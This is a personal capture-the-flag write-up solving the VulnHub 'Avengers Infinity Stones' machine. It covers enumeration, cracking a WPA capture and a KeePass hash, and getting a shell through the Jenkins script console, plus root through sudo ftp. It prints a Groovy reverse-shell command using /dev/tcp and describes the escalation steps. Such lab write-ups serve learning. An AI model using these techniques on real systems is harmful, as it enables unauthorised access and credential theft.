This writeup documents my solution to solving the Avengers Infinity Stones Capture The Flag (CTF) machine available on vulnerable hub and created by Hacking Articles. I will leave a link in the References at the bottom of this writeup where the vulnerable hub machine can be downloaded.
I would like to encourage anyone who has not yet attempted this CTF, to try and complete as much of it as possible before coming back to read this writeup. You will gain more satisfaction from completing it yourself and will learn more from your failures than just copying the answers. The purpose of CTF’s is to learn new things and most importantly have fun! My advice for anyone who gets stuck or is unsure of what to do next is as follows:
- Enumeration is important, so make sure to perform good enumeration on the target machine.
- Think really outside of the box, some of the solutions are a little ambiguous…foreshadowing 😅.
- Be patient and take regular breaks.
So with that out of the way, lets get started!
In this CTF, we have been tasked with recovering all 6 of the Infinity Stones (flags), which are required to power Thanos’s Infinity Gauntlet. This machine contains 6 Infinity Stones (flags) which include the:
- Space Stone
- Mind Stone
- Reality Stone
- Time Stone
- Power Stone
- Soul Stone
We must recover these stones and help Thanos bring balance back to the universe by powering his Infinity Gauntlet!
Feel free to skip this section as I will just discuss how to setup the CTF machine. I used Virtual Box on Windows, a hypervisor software, to run two virtual machines:
- CTF Machine
- Kali Linux Machine
Both OVA files for the virtual machines can be downloaded and imported into Virtual Box. I chose to setup both virtual machines with an internal network adapter and setup an additional NAT adapter for the Kali Linux machine. A host-only adapter can also be used but I found this had some issues so I would advise using the internal network adapter instead.
To assign IP addresses dynamically to both virtual machines and allow them to connect and communicate, I created a DHCP server in my Virtual Box internal network. This was accomplished using the command below:
VBoxManage.exe dhcpserver add --netname internal_network --ip 192.168.176.1 --netmask 255.255.255.0 --lowerip 192.168.176.132 --upperip 192.168.176.140 --enable
This command creates a DHCP server called “internal_network” with a pool of IP addresses ranging from 192.168.176.132 to 192.168.176.140 that will be dynamically assigned to each machine. The DHCP server can also be listed using the command below:
VBoxManage.exe list dhcpservers
In Virtual Box, import the OVA files and setup the network adapters for both machines as seen below. If the “internal_network” name does not show up when selecting an internal network adapter, then type in the name in the text field.
Once the network adapters are set, launch the machines and check if your Kali machine has been assigned an IP address from the DHCP pool of addresses.
The Kali virtual machine network adapters should both have IP addresses assigned. One address for the NAT adapter and one address for the Internal Network adapter. If you find that one of the adapters does not have an IP address assigned then use the “dhclient” command to release the IP addresses and then reassign the IP addresses.
sudo dhclient -v -r # release current IP's
sudo dhclient -v # Reassign IP's
Finally, use “netdiscover” or “NMAP” tools to identify the IP address on the CTF machine.
netdiscover -r 192.168.176.0/24 -i eth1 # option 1
nmap -sP 192.168.176.0/24 # option 2
This will show the IP address of the CTF machine which was assigned by the DHCP server earlier, as seen in the image below. In this instance, the CTF Machines IP addres is “192.168.176.133” but yours may be different.
With the boring setup out of the way, lets move on to the fun stuff 😄!
I started by scanning the CTF machine for the 1000 most common open ports using NMAP.
The NMAP command can be broken down as follows:
- -Pn: Disables host discovery.
- -Sv: Performs version detection for the services.
- -sC: Performs a script scan using default scripts available in NMAP.
- -v: Provides verbose details about the NMAP scan.
- -oN: Outputs scan results to a file.
The output of the scan shows that port 22 (SSH), port 80 (HTTP), port 443 (HTTPS) and port 8080 (Jetty Web Server). Looking through the scan output also reveals the first flag.
One down, six to go!
Using the scan info collected earlier, I looked at the web page being displayed on port 80. The index page did not have any interesting information on it but there was a link to a page called “aether.php”, which had a trivia quiz on it. Can you answer all the questions?
Reviewing the page source code showed that the answers submitted for the quiz did not appear to be sent anywhere. I wasn’t really sure what the purpose of this was so I decided to move on for now.
I also noticed that a “robots.txt” file was found during the scan on port 8080.
A message was left by the creators, mentioning a “build” link. Typing this in as a directory, while still on port 8080 provides a login page for Jenkins Framework.
I used GoBuster to enumerate any other hidden pages and directories. This tool uses a word list of common directory names and attempts to load these directories.
I found the following directories using GoBuster.
I started looking through the directories, and found an image in the “/img” directory called “space.jpg”.
I used the “file” command to confirm that the file was indeed a JPG file and found the next infinity stone (flag) hidden as a comment.
So far so good, onto the next stone!
Looking through the other hidden directories found earlier by GoBuster, I found a directory called “/wifi”. This directory contained two files called “pwd.txt” and “reality.cap” respectively.
I opened the “pwd.txt” file and was presented a list of requirements for a password.
Upon further inspection, the “reality.cap” file appeared to be a network capture of some wireless traffic but needs to be decrypted before I can see it’s contents. All the packets had the 802.11 protocol and the data was not readable.
To decrypt the Wi-Fi traffic, three things are needed which are:
- The exact four-way handshake of the traffic that needs to be decrypted.
- The password used to connect to the access point.
- The SSID of the network which the traffic was captured on.
Looking through the protocols, I notice a protocol called EAPOL (Extensible Authentication Protocol (EAP) over LAN) which confirms the handshake was captured.
I assumed the “pwd.txt” password requirements could be used to discover the password used to connect to the access point for the wireless traffic. I can create a list of potential passwords based on the parameters outlined by the “pwd.txt” file using the “crunch” tool.
A breakdown of this command is provided as follows:
- 12 12: this tells crunch to create password combinations that are only 12 characters in length (e.g. 8 12 would create combinations between 8 and 12 characters in length).
- -t: specifies a pattern for the password combinations being generated(e.g. ‘ ,’=uppercase character, ‘%’=number, ‘@’=lowercase character).
- -o: specifies name of the output word list file.
This “crunch” command will create a password list where each password will begin with “gam”, end with “2012” and combinations of letters and numbers in between as outlined by the “pwd.txt” file.
Once I have generated a list of potential passwords, I used a tool called “aircrack-ng” to recover the actual password.
I was successful in retrieving the password.
Now that I have the password, the final requirement is the SSID of the access-point, which from observing the packets in Wireshark is “Kavish-2.4Ghz”.· With this information, I can now decrypt the wireless data. To do this, I opened Edit -> Preferences -> Protocols in Wireshark and selected IEEE 802.11 in the left pane. I then clicked on edit decryption keys and added a new wpa-pwd key with the value set to the password found by “aircrack-ng” earlier above.
I could now view the decrypted Wi-Fi traffic.
So after all of this, I started looking through the network traffic and I found….nothing! I spent an entire day looking for any clues, hints or information but I could not find anything in the decrypted traffic. I was really stuck and after taking a break and coming back to it the next day, I still couldn’t find anything useful. Finally, I relented and tried to find a hint online as to what to do next. I discovered that the password I found using “aircrack-ng” was the name of a hidden directory on the web server. I thought this was kind of ambiguous but maybe I should’ve spent longer on it 😅.
Typing in the password as a directory in the URL does work and I find a file called “realitystone.txt”.
Opening this file gives me the next flag!
I was still curious about why there was a quiz included on the website. I knew that the answers were not being submitted anywhere but after discovering that the password recovered by “aircrack-ng” earlier was the name of a hidden directory, it had me thinking about the answers for the quiz possibly being the name of a hidden directory. It was then that I noticed the incredibly obvious hint that I missed upon first inspection!
The answers are either “True” or “False” which in binary is “1” or “0”. The hint tells us that binary is the “path” to reality which is a not too subtle hint about using the answers (i.e. True, False, True, etc.) in binary (i.e. 101) to create a path.
This works and I find a file called “hints.txt” which contains a string that resembles an Esoteric Language called “brainf**k”.
I can use an online decoder which gives me a set of credentials that I can use on the login page for Jenkins found earlier.
I can now use these credentials to login to Jenkins.
I looked through the different links and options but didn’t find anything interesting. I did a quick search on Google and found different ways to get a reverse shell on the web server by exploiting vulnerabilities in Jenkins. I found two different methods that worked for me.
The first method was to exploit the “Script Console” feature on Jenkins.
To create a reverse shell on the system, I need to use Groovy script. Since it is basically Java, I can use a Java reverse shell from pentestmonkey.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.176.133/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String)
I then listen for a connection on port 4444 on my attacking machine and I successfully get a reverse shell.
Another approach is to use Metasploit, which has a module that exploits the same vulnerability in The Jenkins-CI Groovy script console to execute OS commands using Java.
This exploit is successful and I chose to stick with the meterpreter session created by this exploit.
After some manual enumeration, I decided to upload the “LinEnum.sh” script to the “/tmp” directory and enumerate the web server. I changed directories to the “/tmp” directory on the reverse shell and then used the “upload” command.
I ran the script and waited for it to finish, with the output being saved to “report.log”.
I downloaded the report and after examining the results, an interesting script was found which had the SUID flag set. This means the script can run with root privileges.
Navigating to the location of the script and executing it gives me the Time Stone (flag).
Looking through the “/opt” directory where the script that gave the Time Stone earlier was discovered, I found another file called “morag.kdbx”. A quick search on Google revealed that a file with a “.kdbx” extension is a KeePass database file. KeePass is a password manager and requires a master password to view its database contents.
To retrieve the master key, I used “keepass2john” to extract the hash from the “morag.kdbx” file.
I placed the hash, starting from “$keepass$…” to the last digit seen in the figure above, into a text file called “CrackThisHash.txt”. I then used “hashcat”, a password recovery tool, to recover the password.
The “hashcat” command is explained as follows:
- -m 13400: specifies hash type (e.g. 13400 = KeePass 1 (AES/Twofish) and KeePass 2 (AES) ).
- -a 0: specifies attack mode (e.g. 0 = Straight).
- -w 1: enable a specific workload profile.
- -o cracked.txt: name of output file.
- CrackThisHash.txt: contains hash to be cracked.
- rockyou.txt: word list containing potential passwords.
The “hashcat” tool successfully recovers the password and stores it in the “cracked.txt” file.
I view the contents of the KeePass database file by installing a command line tool called “kpcli” (sudo apt-get install kpcli) and entering the recovered password. I found a number of directories when listing the contents of the database.
Two directories in particular are of interest, which include “Creds/” and “/FLAG”. Looking at the contents of the flag directory gives me the Power Stone (flag).
I looked at the “/Creds” directory found in the KeePass database file and found a base64 encoded string. I decoded this using CyberChef, an online tool for decryption and decoding. A set of credentials were returned which can be used to login as a user called “morag”.
I use these credentials to SSH into the target machine as the user “morag”. Once signed in, I assume the final stone is most likely stored in the “root” folder and start looking for ways to escalate my privilege. I check what commands I can execute as root and I discovered that I could run the “ftp” command with root permissions and not have to provide a password.
I can exploit running “ftp” as root, by launching the ftp shell and then escape out of the ftp program into a root shell by typing “!/bin/sh”.
Listing the contents of the root directory, I find the final stone stored in a file called “final.txt”.
This was a challenging CTF and I definitely struggled with the Reality Stone flag, but I thoroughly enjoyed it. The Vulnerable Hub site offers a wide range of machines and is a good place to have some fun playing CTF’s! A big thanks to the authors of the machine AArti Singh and Kavish Tayagi for creating this Avengers themed CTF.
Thanks for reading my writeup till the end and feel free to follow me on Twitter: @TheTMC113. Till next time 😄!